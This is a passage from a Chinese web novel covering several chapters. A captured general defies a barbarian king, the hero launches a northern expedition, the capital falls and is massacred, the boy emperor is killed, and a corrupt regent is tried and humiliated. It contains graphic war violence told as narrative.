“呸!” 一口血痰,狠狠地吐在了阿保机身前的地上。 “我乃大业之将,生为汉家之人,死为汉家之鬼!岂能与你这等茹毛饮血的蛮夷为伍?” 蒙天放的声音不大,却字字铿锵,掷地有声。 “想让我投降?痴心妄想!我蒙家儿郎,只有站着死的,没有跪着生的!” 阿保机的脸色瞬间变得铁青,眼中杀机暴涨。 “好!好一个站着死的蒙家儿郎!既然你敬酒不吃吃罚酒,那就别怪我了!”他狞笑着,“来人!给我把他拿下!记住,要活的!我要把他绑在我的王帐前,让所有人都看看,这就是反抗我的下场!” “保护将军!” 身后的玄甲军士兵,发出一声悲壮的怒吼,不顾一切地向着蒙天放围拢过来,用自己的血肉之躯,组成最后一道防线。 “滚开!” 蒙天放却一把推开护在身前的亲兵,他环视了一圈自己这些忠心耿耿的部下,脸上露出了一丝惨然的微笑。 “弟兄们,我们……守不住了。” “但是,我们不能白死!” 他猛地举起手中的断枪,指向城南的方向。 “援军……不会来了。如今能救中原的,只有一个人!” “陈平川!” “你们,从南门突围!去江徽,去西南,去西域!无论他在哪里,都要找到他!把信交给他!告诉他,北境……守不住了,中原的百姓,就拜托他了!” “将军!我们不走!要死一起死!”士兵们哭喊着。 “这是命令!”蒙天放的眼中,爆发出前所未有的严厉光芒,“玄甲军,可以全军覆没,但这个消息,必须传出去!这是我们……最后的使命!” 说完,他不再理会身后的士兵,独自一人,手持断枪,迎着潮水般涌上来的蛮族士兵,发起了生命中最后一次,也是最悲壮的一次冲锋。 “杀!” 一声怒吼,响彻云霄。 他就像一头冲入羊群的猛虎,手中的断枪,每一次挥出,都能带走一条蛮族的生命。他斩杀了三名冲在最前面的蛮族将领,身上又添了十几道伤口,最终力竭,被蛮族士兵用长杆和绳索套住,重重地摔倒在地。 “将军!” 其他人在蒙天放吸引了所有敌人注意力的那一刻,含着血泪,从南门杀出了一条血路。 …… 第347章 血书悲歌英雄泪,一怒挥师天下惊 “这些人逃出来后,不敢停留,一路向南。可梁党的那些狗官,封锁了所有关隘,到处都是抓捕他们的官兵。他们九死一生,才逃到了西南,听闻主公您西征,又一路追到了这里……” 信使悲痛地说道:“他们一百多个弟兄,如今……如今就只剩下三四人……” “那……将军怎么样了?”祝衡追问道。 “阿保机那个畜生,他把蒙将军绑在攻城车上,押着他,一路南下,所过州县,望风而降……如今,恐怕已经……已经打过黄河了……” 大厅里,死一般的寂静。 所有人的拳头,都握得咯咯作响。 一个忠心报国的英雄,没有死在冲锋陷阵的路上,却被自己人出卖,最后落得如此屈辱的下场。 这是何等的悲哀! 陈平川闭上了眼睛,两行清泪,顺着脸颊,无声地滑落。 他紧紧地攥着那封血书,指节因为过度用力,已经捏得发白。 蒙天放的嘱托,如同一座大山,沉甸甸地压在了他的心头。 他缓缓睁开眼睛,那双原本清澈的眸子里,此刻只剩下无尽的冰冷和凝如实质的杀意。 他知道,自己不能再等了。 平定西域,整合力量,徐图东进的计划,必须提前了。 他转过身,面向北方,仿佛目光能够穿透千山万水,看到那片正在蛮族铁蹄下呻吟的土地。 “蒙将军……” 他低声喃语,像是在对那个逝去的英魂起誓。 “你放心。” “用不了多久,我就会回去。” “我会带着百万雄师,踏平草原,为你报仇!” “我会把梁家那帮国贼,连根拔起,祭奠你的在天之灵!” “这中原的万里河山,我来守!” “这天下的亿万百姓,我来救!” 陈平川的声音在大厅中回荡,每一个字都像是用钢铁铸成,沉重而又坚定。 那句“这天下的亿万百姓,我来救”,如同一道惊雷,炸响在每个人的心头。 庆功宴上的欢声笑语早已消失无踪,所有人的目光都聚焦在那个背对众人、望向北方的身影上。 他的背影并不算特别魁梧,但在众人眼中,却仿佛能撑起这片即将倾颓的天地。 “主公……” 郭仲达嘴唇动了动,想说些什么,却又不知从何说起。 他想说,我们刚刚经历一场大战,将士们需要休整。 他想说,西域初定,人心未稳,吐蕃和回鹘虽败,但根基仍在,此时我们若大举东进,后方恐有变数。 他想说,从敦煌到中原,路途何止千里,大军远征,粮草辎重如何保障?这根本不是一朝一夕能够完成的。 理智告诉他,陈平川此刻的决定,太过冲动,太过冒险。 可是,当他看到那封被捏得变形的血书,当他想起信使口中那个被绑在攻城车上、受尽屈辱的英雄,当他感受到陈平川身上那股强烈的悲愤与杀意时,所有劝谏的话,都堵在了喉咙里。 家国如此,英雄蒙冤,若还瞻前顾后,计算得失,那他们与朝堂上那些冷血的国贼,又有何异? “平川!” 祝衡大步上前,一把按住陈平川的肩膀。他的手掌孔武有力,眼中燃烧着同样的火焰。 “算我一个!我祝家虽已不是皇族,但我祝衡,还是汉家男儿!这笔血债,我要亲手向梁家,向草原蛮族讨回来!” “王爷说得对!”秦锋“呛啷”一声拔出腰间的长刀,刀锋在灯火下闪着寒光,“主公,末将愿为先锋!五百破风骑,随时可以出发!” “末将王奎(林勇)请战!” “末将姚北辰请战!” “请主公下令!” 一时间,大厅之内,将星云集,群情激奋。所有人的血都被点燃了,一股磅礴的战意冲天而起。 陈平川缓缓转过身,他眼中的泪痕已干,只剩下冰冷的决绝。他扫视着一张张激动的脸庞,心中涌起一股暖流。 这就是他的班底,是他敢于向整个天下宣战的底气。 他抬起手,往下压了压,沸腾的大厅瞬间安静下来。 “诸位的心意,我明白。”他的声音恢复了惯有的冷静,但那冷静之下,是即将喷发的火山。 “郭军师的顾虑,我也清楚。”他看向郭仲达,“我们刚打完一仗,人困马乏,西域的摊子也才刚刚铺开。立刻挥师东进,确实不智。” 郭仲达闻言,心中稍稍松了口气,以为陈平川冷静下来了。 然而,陈平川话锋一转:“但是,有些事,不能只算计利弊得失。民心,等不了;道义,等不了;蒙将军流的血,更等不了!” “我们若是在这里安安稳稳地休整几个月,甚至一两年,等到我们兵强马壮,粮草充足再出兵,北方的百姓还剩下多少?这中原的脊梁,是不是就真的被那帮畜生给打断了?” “我陈平川,要做的是救世,不是等天下糜烂之后,再去收拾一个烂摊子!” 他的话,字字诛心,让郭仲达哑口无言。 是啊,慈不掌兵,但若是连最基本的人心和道义都失去了,那他们就算得了天下,又有什么意义? 陈平川走到大厅中央悬挂的地图前,目光如炬,在广袤的疆域上移动。 “所以,我的计划必须改变。”他拿起一支朱笔,在地图上画下了一条从敦煌直指中原腹地的血色长线。 “我意,即刻起兵,北伐!” “我将亲率一万破风骑与火铳营精锐,作为先锋,即刻出发。我们的目标不是攻城略地,而是成为一把尖刀,一把插进蛮族大军心脏的尖刀!我要让天下人都知道,援军到了!希望,还在!” “王奎、林勇,你二人率领步兵主力,整合收编的降兵,即刻进行整训。我要你们在一个月之内,打造出一支能战之师!” “郭军师,”他看向郭仲达,“西域的后方,就全部交给你了。我给你最高的权限,钱粮、人事,你一手总揽。你的任务,比我们更重!我要你做的,不是守住西域,而是将整个西域,变成我们北伐的兵工厂和粮仓!源源不断地为我们提供兵员和物资!” “祝王爷,”陈平川的目光转向祝衡,“月氏与归义军已是一体,我需要你坐镇敦煌,安抚各部,同时训练新兵。你是大业朝的秦王,是汉家正统的象征,有你在,西域的汉人百姓,心就不会散!” 一道道命令,清晰而果断地发出。 这不是一时冲动的决定,而是在极短的时间内,结合当前局势做出的最疯狂,也最有效的部署。 他要用自己作为旗帜,用一支精锐的奇兵,去撬动整个天下的棋局! 第348章 金戈指北境,铁马踏胡尘 郭仲达看着地图上那道血色的线条,看着陈平川眼中不容置疑的决心,他知道,自己无法再劝。 他深吸一口气,上前一步,躬身一拜:“主公高义,仲达万死不辞!定为主公守好这片大后方!” “末将遵命!” “末将遵命!” 所有将领,齐声领命,声震屋瓦。 “好!”陈平川重重一拍桌案,“传我将令!犒赏三军,让将士们饱餐一顿,好好睡一觉!明日卯时,全军誓师,北伐!” 命令传下,整个敦煌城都动了起来。 刚刚沉浸在胜利喜悦中的士兵们,在得知北境的噩耗和主公的决定后,没有丝毫怨言。悲愤化为了力量,喜悦变成了同仇敌忾的战意。 军营里,磨刀声霍霍,战马的嘶鸣声此起彼伏。士兵们擦拭着自己的兵器,检查着自己的甲胄,眼中闪烁着对战争的渴望和对蛮族的仇恨。 这一夜,敦煌无眠。 一股名为“复仇”的风暴,正在这片西域的土地上,迅速凝聚。 次日,天刚蒙蒙亮。 敦煌城外,数万大军列成方阵,旌旗如林,刀枪如雪。 陈平川一身戎装,立于高台之上。他的身后,是祝衡、郭仲达、秦锋等一众核心将领。 台下,一万即将出征的先锋将士,精神抖擞,杀气腾腾。 陈平川没有说太多鼓动人心的话,他只是让那名信使,再次将蒙天放将军的遭遇,将大雁关的惨状,将蛮族南下后的暴行,原原本本地说了一遍。 当听到蒙将军被囚于车中,受尽凌辱;当听到中原百姓被肆意屠戮,家园化为焦土时,台下数万将士的眼睛都红了。 一股压抑到极点的怒火,在方阵中蔓延。 “将士们!”陈平川的声音响起,清晰地传到每个人耳中。 “在我们的身后,是我们的妻儿父母,是西域数百万刚刚看到希望的汉家百姓!” “在我们的前方,是正在受苦受难的同胞,是正在被蛮族铁蹄践踏的万里河山!” “我们,退无可退!” “此去,或许九死一生!此去,或许马革裹尸!你们,怕不怕!” “不怕!不怕!不怕!” 数万人的怒吼,汇成一股声浪,直冲云霄,仿佛要将天上的云层都撕裂。 “好!”陈平-川拔出腰间长剑,直指东方。 “我,陈平川,在此立誓!” “不破蛮夷,誓不还朝!” “不诛国贼,誓不卸甲!” “大军,出发!” “风!风!大风!” 随着他一声令下,秦锋率领的破风骑一马当先,如离弦之箭般冲了出去。随后,一万先锋大军,化作一股黑色的洪流,向着东方,向着那片正在泣血的土地,滚滚而去。 高台之上,祝衡和郭仲达看着远去的军队,神情肃穆。 “军师,平川此去,你觉得有几成胜算?”祝衡轻声问道。 郭仲达摇了摇头,又点了点头,眼神复杂:“若论兵力,不足一成。但若论人心,若论陈大人……我看不透。他总是能创造奇迹,不是吗?” 祝衡沉默了,他看着那面在风中猎猎作响的“陈”字大旗,喃喃道:“是啊,他就是奇迹本身。希望这一次,他也能为这片绝望的土地,带来奇迹。” …… 就在陈平川率领大军踏上东征之路的同时,中原大地,已是千里赤地,哀鸿遍野。 阿保机,这位草原新崛起的雄主,和他那在顺城府惨败于陈平川之手的父亲塔尔罕不同。他更加年轻,更加残暴,也更加懂得如何摧毁一个民族的抵抗意志。 二十万蛮族大军,如同一股黑色的瘟疫,从大雁关决堤南下。 他们没有明确的战略目标,或者说,他们的战略目标就是纯粹的毁灭。 大军过处,不分军民,不留活口。村庄被付之一炬,田地被战马踏平,男人被当作猎物一样射杀,女人和财物则被掳掠一空。 一座又一座的县城,在得知大雁关失守的消息后,本就人心惶惶。 当他们看到蛮族大军前方,那辆巨大的囚车里,被铁链锁着、浑身浴血,昏迷不醒的蒙天放将军时,所有守城将士的心理防线都崩溃了。 连大业朝最强的玄甲军统帅都落得如此下场,他们这些地方卫所的杂兵,拿什么去抵抗? 于是,望风而降成了常态。 那些穿着大业朝官服的知县、知州们,争先恐后地打开城门,跪在阿保机的马前,献上城池、钱粮和美女,只为换取自己一条活命。 然而,阿保机对这些软骨头的汉人官员,没有丝毫的兴趣。 他往往会笑着接受他们的投降,然后在入城之后,将这些官员连同他们的家眷,在百姓面前当众斩首。 他用这种血腥的方式告诉所有人,投降,没有用。抵抗,更是死路一条。 绝望,如同瘟疫般在中原大地上蔓延。 而那辆囚禁着蒙天放的囚车,就像一座移动的耻辱碑,押着整个大业朝的尊严,一路南下,直逼京城。 此刻的京城,早已乱成了一锅粥。 消息灵通的权贵们,早在蛮族大军刚过黄河时,就开始收拾细软,准备南逃。 一时间,京城各条出城的官道上,挤满了华丽的马车和满载家当的牛车。 然而,他们很快就绝望地发现,国舅梁越早已下令封锁了所有城门。 美其名曰“稳定人心,共抗国难”,实则是怕这些权贵带着巨额的财富跑了,他梁家搜刮谁去?更怕引起大规模的逃亡,导致城中秩序彻底崩溃。 皇宫,太和殿。 早已没有了往日的威严和肃穆,殿内挤满了惊慌失措的文武百官,像一群没头苍蝇般嗡嗡乱叫。 “国舅爷!国舅爷!蛮子打过来了!咱们快跑吧!再不跑就来不及了!”吏部侍郎燕大人,哭丧着脸,就差跪下来抱梁越的大腿了。 “跑?往哪跑?”梁越一脚踢开他,脸色阴沉得能滴出水来。 他比谁都想跑,可是他不能。 他是大业朝的实际掌控者,是“帝爷”。他要是跑了,整个梁党立刻就会分崩离析,他赖以生存的大业朝就彻底垮了,他一辈子经营的权势和威严,也将彻底扫地。 更重要的是,他跑了,这京城里他几十年搜刮来的,那足以富可敌国的金山银山怎么办?他舍不得! 第349章 皇权酒肉化焦土,帝都一夜变鬼城 “慌什么!”梁越环顾四周,怒喝道,“区区蛮夷,不过是一群未开化的野人!他们要的无非就是钱和女人!本国舅已经派人去跟他们谈了!只要给足了好处,他们自然会退兵!” 在他看来,这世上没有钱解决不了的问题。 陈平川是这样,这帮蛮子也一样。 他已经命人准备了百万两白银,还有上百名精挑细选的美女,作为“议和”的筹码。他坚信,阿保机在看到这些之后,一定会乖乖退兵,甚至向他称臣纳贡。 这就是梁越的逻辑,一个沉浸在权力和金钱中太久,已经完全丧失了对外界基本认知的人的逻辑。 “可是……国舅爷,探子来报,蛮子已经兵临城下,他们……他们根本没有要谈的意思啊!”兵部尚书颤抖着声音说道。 “放屁!”梁越一脚踹翻了面前的香炉,“一群只知道打仗的蠢货懂什么!那是他们在抬高价码!传令下去,把我们准备的礼物再加一倍!我就不信,他们不心动!” 大殿的角落里,那个被梁家扶持上位的傀儡小皇帝——兴帝,穿着一身不合体的龙袍,吓得瑟瑟发抖,脸色惨白,一句话也说不出来。他只是个十几岁的孩子,哪里见过这种阵仗,只能眼巴巴地看着梁越,把他当成唯一的救命稻草。 然而,他们等来的,不是蛮族使者,而是震天的炮声。 “轰!轰隆隆!” 那是蛮族从大雁关缴获,又或是自己仿制的大炮,正在猛轰京城的城墙。 京城的城墙,数百年来未经战火,看起来高大雄伟,实则内里早已被层层盘剥,豆腐渣工程随处可见。在投石车猛烈的轰击下,大块大块的墙砖剥落,尘土飞扬。 城墙上的守军,大多是京城的卫戍部队,平日里作威作福、吃空饷的纨绔子弟,哪里见过真正的战争。 早已吓得哭爹喊娘,丢下兵器四散奔逃。 梁越冲出大殿,看到城墙方向的火光和浓烟,整个人都懵了。 “怎么回事?他们怎么敢!他们怎么敢真的攻城!”他语无伦次地咆哮着,“反了!都反了!” 他无法理解,为什么这帮“野人”不按他的剧本走。 攻城仅仅持续了不到两个时辰。 在一声惊天动地的巨响中,一段年久失修的城墙,被硬生生轰塌了一个巨大的缺口。 “城破了——!” 凄厉的喊声,如同丧钟,在京城上空响起。 紧接着,便是潮水般的马蹄声和蛮族士兵兴奋的嚎叫声。 “杀啊!” “抢光他们的钱!粮食!女人!” 黑色的洪流,顺着那个缺口,涌入了这座大业朝的心脏。 一场惨绝人寰的屠杀,正式开始。 梁越呆呆地站在原地,看着远处街道上燃起的熊熊大火,听着空气中传来的凄厉惨叫,他的大脑一片空白。 完了。 都完了。 “国舅爷!快走啊!”几个心腹家将冲过来,架起他就要往皇宫深处跑。 “不……不……”梁越失魂落魄地喃喃自语,“我的钱……我一辈子的心血……我的江山……” 他想的不是如何活命,而是他藏在密室里的,那堆积如山的金银珠宝。 京城,这座曾经冠绝天下、繁华无比的帝都,在这一刻,彻底沦为了蛮族铁蹄下的猎场。 …… 城破的那一刻,京城维持了数百年的虚假繁荣,如同一个被戳破的巨大泡沫,瞬间化为乌有。 蛮族士兵像一群饿疯了的野狼,冲进了一座堆满了肥羊的羊圈。 他们的第一个目标,不是皇宫,而是那些坐落在城东、城南的达官显贵们的府邸。 “砰!” 一座挂着“吏部尚书府”牌匾的朱漆大门,被几名蛮族士兵用攻城锤狠狠撞开。 府内的家丁护院们,平日里仗着主人的权势,在京城横行霸道,此刻却像一群受惊的鹌鹑,还没等蛮族士兵的弯刀砍到身上,就丢下武器,跪地求饶。 其中喊声最大的就是燕世藩,他吓得浑身发抖,语无伦次地喊着:“别杀我!别杀我!我有钱!我有很多钱!都在密室里!我带你们去!” 一名蛮族百夫长狞笑着,一脚将他踹倒在地,然后用刀尖挑起他的下巴:“钱,我们要。你的命,我们也要!” 弯刀划过,一颗人头滚落在地,鲜血染红了府邸门前威武的石狮子。 凄厉的惨叫声,很快就淹没在府内女眷们的哭喊和蛮族士兵的狂笑声中。 曾经高高在上的夫人、千金小姐、美貌的丫鬟妾室,此刻都成了蛮族士兵们发泄的玩物。 她们的哭喊、挣扎,只能换来更残暴的对待。 金银珠宝、古玩字画,这些他们穷尽一生搜刮来的民脂民膏,被粗暴地装进麻袋,随意地践踏。 一炷香后,这座曾经辉煌的府邸,燃起了熊熊大火,将所有的罪恶和哀嚎,都吞噬其中。 这样的一幕,在京城的每一个角落同时上演。 那些曾经以为交出金银就能换取活命的富商巨贾,在献出所有家产后,被当着家人的面砍下了脑袋。 那些曾经在朝堂上道貌岸然、满口仁义道德的文官,此刻被扒光了官服,像狗一样被驱赶,稍有反抗,便是一刀。 最讽刺的,莫过于那些梁党的骨干。 他们仗着梁越的权势,在京城作威作福,鱼肉百姓,积累了惊人的财富。 他们以为,城破了,只要报上自己是国舅爷的人,蛮子也会给几分薄面。 然而,阿保机早就下过命令,凡是梁党官员,罪加一等,杀无赦! 于是,这些平日里眼高于顶的“国戚”,下场比普通官员还要凄惨。 他们被用最残酷的方式折磨,逼问出每一分藏匿的财产,然后被残忍处死,全家老小,无一幸免。 整个京城,变成了一座巨大的人间炼狱。 街道上,尸体横陈,血流成河。 往日繁华的商铺,被洗劫一空,燃着大火。 空气中,弥漫着浓烈的血腥味、焦糊味,以及妇女儿童绝望的哭嚎声。 一些尚有血性的京城百姓和溃散的士兵,自发地组织起来,在街头巷尾与蛮族士兵展开了惨烈的搏杀。 他们用菜刀、用木棍、用牙齿,进行着最后的抵抗。 然而,在装备精良、凶狠残暴的蛮族大军面前,这些抵抗显得那么的苍白无力。 一处小巷内,一个白发苍苍的老人,挥舞着一把生锈的铁剑,护着身后的孙子,怒吼着冲向一名蛮族士兵。 “狗杂种!老夫跟你们拼了!” 蛮族士兵轻蔑地一笑,随意一刀,便将老人砍死。他狞笑着,走向那个吓傻了的孩子…… 第350章 金銮殿前龙椅碎,铁蹄之下天子亡 这一天,太阳被浓烟遮蔽,天空是灰暗的。 这一天,大业朝的国都,流尽了最后一滴血。 百姓在哭嚎,在绝望。 但在这无尽的悲凉中,当他们看到那些平日里骑在他们头上作威作福的官老爷们,像猪狗一样被屠杀时,心中又涌起一股病态的、扭曲的快感。 “杀得好!杀得好啊!” 一个断了腿的乞丐,躲在墙角,看着不远处一个脑满肠肥的官吏被砍头,他一边流着泪,一边拍手叫好。 “你们也有今天!报应!这都是报应啊!哈哈哈哈!” 他的笑声,在凄厉的惨叫声中,显得那么的诡异和悲哀。 国已不国,家亦不家。 当维护秩序的暴力机器被更强大的暴力摧毁时,剩下的,只有最原始的丛林法则。 而皇宫,这座城市的中心,也成了最后的风暴眼。 无数的蛮族士兵,如同黑色的潮水,涌向那座金碧辉煌的宫殿。 他们眼中闪烁着贪婪的光芒,因为他们知道,那里,有这座城市最顶级的财富,和最尊贵的女人。 宫门被轻易撞开,平日里威严的禁军侍卫,一触即溃。 太监、宫女们尖叫着四散奔逃,却被蛮族士兵像追赶兔子一样,一个接一个地砍倒在地。 阿保机骑着一匹高大的黑色战马,在亲卫的簇拥下,缓缓踏入皇宫。 他看着这雕梁画栋、金碧辉煌的宫殿,脸上没有丝毫的惊叹,只有冰冷的蔑视。 “这就是汉人的皇宫?果然奢华糜烂!”他轻蔑地说道:“哼,一群绵羊,却住在金子做的羊圈里,活该被宰!” “传令下去,除了皇帝和那个叫梁越的国舅,其他人,反抗者,杀!女人,赏给今晚作战最勇猛的士兵!” “是,大王!” 命令传达下去,整个皇宫,彻底沸腾。 阿保机没有理会身后的混乱,他催动战马,目标明确地朝着太和殿的方向走去。 他要亲眼看一看,那个把他父亲耍得团团转的陈平川所效忠的朝廷,究竟是怎样一副可笑的模样。 他要让那个所谓的大业天子,跪在他的脚下,舔他的马靴。 当他抵达太和殿前时,看到的是一幅滑稽的景象。 梁越和那个小皇帝兴帝,被一群残余的太监和家将,簇拥在殿内,用龙椅和桌案,堵住了大门,做着最后徒劳的抵抗。 阿保机笑了。 他挥了挥手。 身后的亲卫们,发出一阵哄笑,发起冲锋。 “轰!” 一声巨响,那扇象征着皇权至高无上,由金丝楠木打造的殿门,被硬生生劈成了碎片。 殿内,梁越和兴帝惊恐的脸,暴露在所有蛮族士兵的面前。 刺眼的阳光和狰狞的蛮族士兵的面孔,也出现在梁越等人的眼前。 大殿内的几十个太监和家将发出一声绝望的尖叫,手中的兵器“当啷啷”掉了一地,一个个瘫软在地,屎尿齐流。 年仅十几岁的兴帝,两眼一翻,直接吓晕了过去。 唯有梁越,还保持着最后一丝理智。他的脸因为极度的恐惧而扭曲,但求生的本能让他做出了最后的挣扎。 “别……别过来!”他从龙椅后面爬了出来,指着堆在墙角的一排大箱子,声音尖利地叫道:“看到没有!黄金!都是黄金!还有夜明珠!千年人参!只要你们不杀我,这些……这些都给你们!我还可以给你们更多!我是大业的国舅,我……我富可敌国!” 他像一个输光了所有筹码的赌徒,歇斯底里地亮出自己最后的底牌。 然而,回应他的,只有一阵肆无忌惮的嘲笑。 蛮族士兵们看着那些金灿灿的箱子,眼中满是贪婪,但没有一个人动。他们在等他们的王,阿保机的命令。 阿保机骑在马上,居高临下地看着这个在地上爬行的,曾经权倾朝野的男人,眼神就像在看一只可怜的臭虫。 “你就是梁越?”阿保机的汉话说得有些生硬,但充满了威严。 “是!是!我就是梁越!”梁越如同抓住了救命稻草,连滚带爬地跪到阿保机的马前,“大王!英明神武的大王!我愿意归降!我愿意为您效力!我知道大业朝所有的财宝,我知道那些官僚的钱都藏在哪里!我能帮您,我能帮您统治这片土地!” 为了活命,他卑微到了尘埃里,摇尾乞怜,毫无尊严可言。 阿保机看着他这副嘴脸,脸上的轻蔑更浓了。 他没有理会梁越,而是用马鞭指了指那个昏死过去的兴帝,问旁边的一个亲卫:“那个就是汉人的皇帝?” “是的,大王。” 阿保机发出一声嗤笑:“连站都站不稳的废物,也配当皇帝?” 他甚至懒得再多看一眼。 “拖出去,让我的战马,送他一程。”他随意地挥了挥手,就像在处理一件垃圾。 “不!不要!”梁越惊恐地尖叫起来,那毕竟是他扶持起来的傀儡,是梁家权力的象征。 但已经晚了。 两个蛮族士兵狞笑着上前,像拖死狗一样,将昏迷的兴帝拖出了大殿,扔在了广场的中央。 一名蛮族将领发出一声兴奋的嚎叫,催动胯下的战马,高高地扬起前蹄。 “噗嗤!” 沉重的马蹄,重重地踏在了兴帝的胸口上。 骨骼碎裂的声音清晰可闻,那个穿着龙袍的孩子,身体诡异地扭曲了一下,口中喷出大片的鲜血,瞬间就没了声息。 大业朝的最后一任皇帝,就以这样一种屈辱而草率的方式,结束了他短暂而可悲的一生。 梁越亲眼目睹了这一切,吓得魂飞魄散,裤裆里一片湿热。 阿保机这才将目光重新投向他,脸上的笑容变得残忍起来。 “现在,轮到你了。” “不……大王饶命!饶命啊!”梁越疯狂地磕头,额头在坚硬的石板上磕出了血。 “饶了你?”阿保机俯下身,用马鞭拍了拍梁越的脸,“杀了你,太便宜你了。你这种人,还有更大的用处。” 他直起身,对着身后的士兵下令:“把他给我绑起来!带到午门外!把城里所有还活着的汉人都给我赶到那里去!我要当着所有人的面,替大业朝的百姓,审判这个国贼!” 梁越被拖下去之后,阿保机在金碧辉煌的大殿内踱步,忽然他想起什么,问旁边一个太监:“我记得,你们不是有个梁太后吗?她人在哪里?” “大王,太后……太后早就跑了!” 阿保机冷哼一声:“她倒是跑得够快!” …… 第351章 史上最荒诞审判!仇人帮你报仇! 午门广场,曾经是举行国家大典,彰显皇权威严的地方。 此刻,却成了审判国贼的刑场。 数万名幸存的京城百姓,被蛮族士兵用鞭子和弯刀驱赶着,聚集在这里。他们一个个衣衫褴褛,神情麻木,眼中充满了恐惧和绝望。 梁越被五花大绑,像一头待宰的肥猪,被扔在临时搭建的高台中央。 阿保机骑着马,缓缓走上高台。他的身后,是那辆囚禁着蒙天放的囚车。 当百姓们看到囚车里那个浑身是血,却依旧站得笔直的身影时,人群中响起了一阵压抑的啜泣。 一边是曾经守护着他们的战神。 一边是把他们拖进无尽深渊的国贼。 阿保机很满意这种效果。 他先是指着蒙天-放,大声对台下的百姓说道:“你们看!这就是你们的英雄!他很顽强,很勇敢!我敬佩他!但是,他保卫的是一个什么样的朝廷?是一个由国贼和蛀虫掌控的朝廷!他的血,是为了一群不值得的人而流!” 接着,他猛地一转马鞭,指向跪在地上的梁越。 “再看看这个家伙!”阿保机的声音充满了煽动性,“他,就是你们的国舅爷,梁越!是这个国家最大的蛀虫!是这个朝廷腐烂的根源!” “是他在朝堂之上,独断专行,残害忠良!是他在朝堂之下,搜刮民脂,鱼肉百姓!你们的苛捐杂税,是不是他制定的?你们的家破人亡,是不是拜他所赐?” “我,阿保机,是征服者!我用刀剑,堂堂正正地打下了你们的京城!而他!”阿保机用马鞭狠狠抽在梁越的背上,发出一声脆响。 “啊!”梁越发出一声惨叫。 “他,是窃国者!是躲在你们背后,吸干你们骨髓的毒蛇!告诉我,你们大业朝的灭亡,到底是因为我阿保机的铁蹄,还是因为这种国贼?!” 台下,死一般的寂静。 百姓们麻木的脸上,开始出现了一丝波动。他们的眼中,燃起了仇恨的火焰。 这火焰,既是对着台上的征服者,更是对着那个跪在地上的罪魁祸首。 “杀了他!杀了他!” 不知是谁,第一个喊出了声。 紧接着,越来越多的人跟着喊了起来。 “杀了这个国贼!” “千刀万剐!扒了他的皮!” 积压了数十年的怨恨,在这一刻,彻底爆发了。他们将国破家亡的所有痛苦,都宣泄到了梁越的身上。 阿保机要的就是这个效果。 他看着群情激奋的百姓,露出了满意的笑容。他成功地将自己塑造成了一个“替天行道”的审判者,将百姓的仇恨,从自己身上转移开了一部分。 他再次举起马鞭,对着梁越,一下,又一下,狠狠地抽打下去。 “这一鞭,是替那些被你害死的忠臣打的!” “啪!” “这一鞭,是替那些被你搜刮得家破人亡的百姓打的!” “啪!” “一个国家,有你这样的国贼,焉能不亡!一个民族,有你这样的败类,焉能不衰!” 梁越在鞭打下,发出杀猪般的惨嚎。他身上的华服早已被抽烂,皮开肉绽,鲜血淋漓。 台下的百姓,看着往日里作威作福的“帝爷”,如今像狗一样被打,心中涌起一股报复的快感。 但紧接着,是更深的悲凉。 他们的仇人,正在被他们的敌人审判。 这是何等的讽刺,何等的悲哀! 终于,梁越在无尽的痛苦和羞辱中,昏死了过去。 阿保机扔掉手中的鞭子,对着台下大声宣布:“这个国贼,死太便宜他了!我要让他活着,让他亲眼看着,他曾经拥有的一切,是如何化为乌有的!” “来人!把他给我拖下去!不要让他死了,我要让他当我的狗,当我的玩物!” 几个亲卫上前,将血肉模糊的梁越,像拖一条死狗一样,拖下了高台。 一场荒诞的审判,就此结束。 京城的百姓,得到了片刻的宣泄,但迎接他们的,是更加黑暗和漫长的奴役。 …… 梁越再次醒来时,发现自己身处一个晃动不止、充满恶臭的囚车里。 手脚都被粗大的铁链锁着,稍微一动,就传来钻心的疼痛。身上被鞭子抽出的伤口,因为没有得到任何处理,已经开始化脓,散发出阵阵腐臭。 他不是一个人在囚车里。 周围,挤着十几个同样被俘的朝廷官员。他们一个个垂头丧气,面如死灰,曾经的官威和体面,早已荡然无存。 “水……水……”梁越嘴唇干裂,喉咙里像是着了火。 他虚弱地呻吟着,希望能有人给他一口水喝。 然而,回应他的,只有旁边一个官员鄙夷的眼神。 “哼,梁国舅,你也有今天?当初你克扣军饷,把边关守军饿死的时候,可曾想过自己会落得这般田地?” “就是!若不是你这奸贼当道,大业何至于此!我们都是被你害的!” “呸!国贼!” 一时间,囚车里的官员们,都将自己的不幸,归咎到了梁越的头上。他们不敢怨恨蛮族,只能将怒火发泄到这个昔日的顶头上司身上。 梁越气得浑身发抖,他想反驳,想咆哮,想告诉这帮蠢货,没有他梁越,他们连官都做不上。 可是,他连张嘴的力气都没有。 正在这时,囚车外传来一阵马蹄声和蛮族士兵的哄笑。 一个蛮族士兵,端着一盆马尿,走到了囚车旁,脸上挂着戏谑的笑容。 “嘿嘿,你们这群汉人的大官,渴了吧?来,大王赏你们的好东西!” 说着,他将那盆骚臭的马尿,尽数泼进了囚车里。 “啊!” “畜生!你们这帮畜生!” 囚车里的官员们发出一阵怒骂和尖叫,纷纷躲避。 梁越被泼了一头一脸,那股恶心的骚臭味,让他胃里一阵翻江倒海,“哇”的一声,吐了出来。吐出来的,却只有一些黄色的胆汁。 蛮族士兵们看着他们狼狈的样子,爆发出更加张狂的大笑。 从这一天起,梁越彻底明白了什么叫“生不如死”。 他不再是高高在上的国舅爷,他成了一个玩物,一个供蛮族士兵取乐的畜生。 每天,他们只能分到一块发霉的馒头,和一碗浑浊的臭水。 蛮族士兵们会以戏弄他们为乐。有时候,会把食物扔在地上,让他们像狗一样去抢。有时候,会逼着他们学狗叫,叫得像的,才能得到一口吃的。 曾经的同僚们,为了活下去,放下了所有的尊严。 他们争抢食物,互相撕咬,丑态百出。 梁越一开始还保持着最后的骄傲,他不肯吃地上的食物,不肯学狗叫。 结果,他被饿了三天三夜。 当他饿得眼冒金星,感觉自己快要死掉的时候,一个蛮族士兵,将一块沾满了泥土和马粪的肉,扔到了他的面前。 第352章 这就是报应!让他求生不得求死不能! “吃吧,吃了就是我的狗。”那士兵嘲笑道。 梁越的内心在天人交战。理智告诉他,士可杀不可辱,他应该饿死,保全最后的体面。 可是,对死亡的恐惧,和对食物的渴望,最终战胜了一切。 他颤抖着手,抓起了那块肮脏的肉,像野兽一样,狼吞虎咽地塞进了嘴里。 那一刻,他听到了自己尊严彻底破碎的声音。 他哭了。 不是因为屈辱,而是因为他发现,自己原来是这么的怕死,这么的卑贱。 从那以后,他彻底沦陷了。 